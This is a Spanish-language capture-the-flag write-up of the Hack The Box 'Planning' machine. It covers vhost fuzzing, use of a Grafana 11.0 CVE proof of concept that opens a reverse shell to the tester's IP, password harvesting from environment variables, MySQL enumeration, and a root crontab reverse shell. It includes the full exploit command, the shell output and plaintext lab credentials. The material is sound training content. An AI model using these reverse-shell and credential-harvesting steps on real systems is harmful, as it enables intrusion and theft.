En esta ocasión vamos a hacer el writeup de la máquina planning de Hack the Box, una máquina Linux de dificultad easy.
Pista inicial
La plataforma nos proporciona las credenciales iniciales para esta máquina:
Información General
Nombre de la máquina:Planning
IP:10.10.11.68
Sistema operativo:Linux
Dificultad:🟢 Fácil
Fecha:27/05/2025
Primer acceso
Añadimos la IP 10.10.11.68 a nuestro /etc/hosts y accedemos través del navegador.
Parece una web de cursos online. Tiene algunos formularios como el input del index y la página de Contact que podrían tener alguna vulnerabilidad.
Escaneo de puertos
Solo encontramos puertos comunes (22 y 80) abiertos. Nos centraremos en el servicio web.
Testing de formularios
Probamos distintas técnicas de inyección contra los formularios e inputs de la web pero ninguno nos devuelve nada interesante.
Fuzzing
Haciendo fuzzing con dirsearch nos encontramos unos pocos directorios:
Revisando los directorios no encontramos nada relevante.
Enumeración de Vhosts
Extraer el Content-Length
Fuzzing de vhosts con ffuf
Encontramos un subdominio grafana muy interesante! Vamos a añadirlo a /etc/hosts y echarle un ojo.
Llegamos a un panel de login de grafana y encontramos una versión: 11.0.0. Probando las credenciales proporcionadas para la máquina logramos acceder sin problema.
Búsqueda de exploits
En el siguiente post encontramos un CVE asociado con la versión 11.0 de grafana:
Iniciamos un listener de netcat y ejecutamos el exploit:
puedes ver que estamos en un entorno Docker y después de buscar cualquier dato importante
leemos la variable env:
Encontramos lo que parece la contraseña de un administrador de seguridad de Grafana:
Probamos a acceder en el login de Grafana pero no nos deja, por lo que probaremos estas credenciales por SSH.
User flag
Escalada de privilegios
Permisos de ejecución
No tenemos permisos de ejecución en la máquina:
Puertos abiertos
Usamos netstat para verificar los puertos abiertos en el servidor:
Encontré que el puerto 3306 y 8000 estaban abierto, con MySQL y HTTP ejecutándose. Verifiqué el archivo de configuración web y encontré el nombre de usuario y la contraseña de MySQL, lo que me permitió iniciar sesión con éxito en MySQL.
Enumeramos el contenido de las tablas pero no encontramos ninguna credencial válida, más que payloads sospechosos intentando explotar Path Traversal:
Acceso web
Vamos a echarle un ojo al puerto 8000 expuesto:
Habilitar Port Forwaring SSH
Acceso web en Kali
Llegamos a un panel de login web pero se un nombre de usuario y una contraseña para iniciar sesión. Intentamos usar las credenciales que tenemos hasta el momento, pero el inicio de sesión falló.
Credential Hunting
Recopilé información y encontré un /opt/crontabs. Dentro había un archivo crontab.db.
Este archivo contiene una credencial sensible en texto claro usada para proteger un archivo comprimido:
Acceso a Crontabs
Usé el nombre de usuario root para iniciar sesión en el sitio web al que acababa de acceder y funciona:
Agregamos una entrada crontab para añadir una reverse shell:
Guardamos, abrimos un listener de netcat y pulsamos en el botón "Save to crontab" para guardarlo y que se ejecute automáticamente:
python poc.py --url http://grafana.planning.htb:80 --username admin --password 0D5oT70Fq13EvB5r --reverse-ip 10.10.15.28 --reverse-port 4444
[SUCCESS] Login successful!
Reverse shell payload sent successfully!
Set up a netcat listener on 4444
Failed to trigger reverse shell: 504 <html>
<head><title>504 Gateway Time-out</title></head>
<body>
<center><h1>504 Gateway Time-out</h1></center>
<hr><center>nginx/1.24.0 (Ubuntu)</center>
</body>
</html>
# ls
LICENSE
bin
conf
public
# env
GF_PATHS_HOME=/usr/share/grafana
HOSTNAME=7ce659d667d7
AWS_AUTH_EXTERNAL_ID=
SHLVL=1
HOME=/usr/share/grafana
OLDPWD=/root
AWS_AUTH_AssumeRoleEnabled=true
GF_PATHS_LOGS=/var/log/grafana
_=ls
GF_PATHS_PROVISIONING=/etc/grafana/provisioning
GF_PATHS_PLUGINS=/var/lib/grafana/plugins
PATH=/usr/local/bin:/usr/share/grafana/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
AWS_AUTH_AllowedAuthProviders=default,keys,credentials
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
AWS_AUTH_SESSION_DURATION=15m
GF_SECURITY_ADMIN_USER=enzo
GF_PATHS_DATA=/var/lib/grafana
GF_PATHS_CONFIG=/etc/grafana/grafana.ini
AWS_CW_LIST_METRICS_PAGE_LIMIT=500
PWD=/usr/share/grafana
enzo / RioTecRANDEntANT!
ssh enzo@10.10.11.68
The authenticity of host '10.10.11.68 (10.10.11.68)' can't be established.
ED25519 key fingerprint is SHA256:iDzE/TIlpufckTmVF0INRVDXUEu/k2y3KbqA/NDvRXw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.68' (ED25519) to the list of known hosts.
enzo@10.10.11.68's password:
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-59-generic x86_64)
Last login: Tue May 27 10:00:42 2025 from 10.10.15.28
enzo@planning:~$ ls
user.txt
enzo@planning:~$ cat user.txt .txt
589b3e88e0c9de7e113a5***********
enzo@planning:/$ sudo -l
Sorry, user enzo may not run sudo on planning.
enzo@planning:/$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 133
Server version: 8.0.41-0ubuntu0.24.04.1 (Ubuntu)
mysql> SHOW databases;
+--------------------+
| Database |
+--------------------+
| edukate |
| information_schema |
| mysql |
| performance_schema |
| sys |
+--------------------+
5 rows in set (0.00 sec)
mysql> use edukate;
Database changed
mysql> SHOW TABLES;
+-------------------+
| Tables_in_edukate |
+-------------------+
| courses |
| enroll |
+-------------------+
2 rows in set (0.01 sec)